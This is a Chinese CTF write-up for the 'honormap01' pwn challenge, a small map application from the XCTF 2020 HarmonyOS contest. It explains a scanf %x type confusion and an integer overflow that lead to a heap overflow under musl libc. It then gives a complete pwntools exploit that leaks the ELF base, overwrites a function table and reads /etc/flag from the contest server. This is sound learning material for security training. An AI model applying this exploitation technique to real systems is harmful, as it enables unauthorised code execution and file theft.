

honormap01

发表于 2021-01-07 分类于 [Challenge](#) , [2020](#) , [XCTF 高校网络安全专题挑战赛](#) , [HarmonyOS和HMS专场](#) , [RealWorld Challenge](#) | [2020 | XCTF 高校网络安全专题挑战赛](#) | [HarmonyOS和HMS专场](#) | [RealWorld](#) | [honormap01](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

来自Venom战队官方发布

题目描述

一个微型地图应用

题目考点

- `scanf`的类型混淆,
- 整数溢出导致堆溢出
- `musl libc`的堆分配特性

解题思路

输入x, y时错误使用了%x从而导致在check完x后, 可以利用y覆盖x导致溢出, 修改函数表为orw函数即可。

```

1 from pwn import *
2 context.log_level = 'debug'
3 p = remote("124.71.204.48", 32080)
4 def add(x, y, typ):
5     p.sendlineafter("CMD > ", "alloc")
6     p.sendlineafter("Height: ", hex(x))
7     p.sendlineafter("Width: ", hex(y))
8     p.sendlineafter("Map type: ", str(typ))
9
10 def edit(idx, x, y, size, fill):
11     p.sendlineafter("CMD > ", "edit")
12     p.sendlineafter("Index", str(idx))
13     p.sendlineafter("X: ", str(x))
14     p.sendlineafter("Y: ", str(y))
15     p.sendlineafter("Block size: ", str(size))
16     p.sendlineafter("Fill: ", fill)
17
18 def delete(idx):
19     p.sendlineafter("CMD > ", "delete")
20     p.sendlineafter("Index", str(idx))
21 def view(idx):
22     p.sendlineafter("CMD > ", "view")
23     p.sendlineafter("Index", str(idx))
24
25 add(0,0xff0000,0)
26 add(0,0,0)
27 add(0,0,0)
28 add(0,0,0)
29 add(0,0,0)
30 add(0,0,0)
31 add(0,0xff0000,0)
32 add(0,0xff0000,0)
33 add(0,0xff0000,0)
34 add(0,0,0)
35 view(0)
36 p.recvuntil("Map: ")
37 p.recvuntil("\xa0")
38 elf_base = u32('\xa0'+p.recv(3))-0x11a0
39
40 edit(2+6, 25, 0, 4, p32(elf_base+0x1350))
41 edit(1+6, 25, 0, 40, '\x00'*24+'/etc/flag\x00')
42 p.sendlineafter("CMD > ", "edit")
43 p.sendlineafter("Index", "8")
44
45 print hex(elf_base)
46 p.interactive()

```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/HarmonyOS和HMS专场/RealWorld/7dFi4irM4EsRrpE9hCuG8w.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[# Challenge # 2020 # XCTF高校网络安全专题挑战赛 # HarmonyOS和HMS专场 # RealWorld](#)
[ez_ohos](#)
[little RSA](#)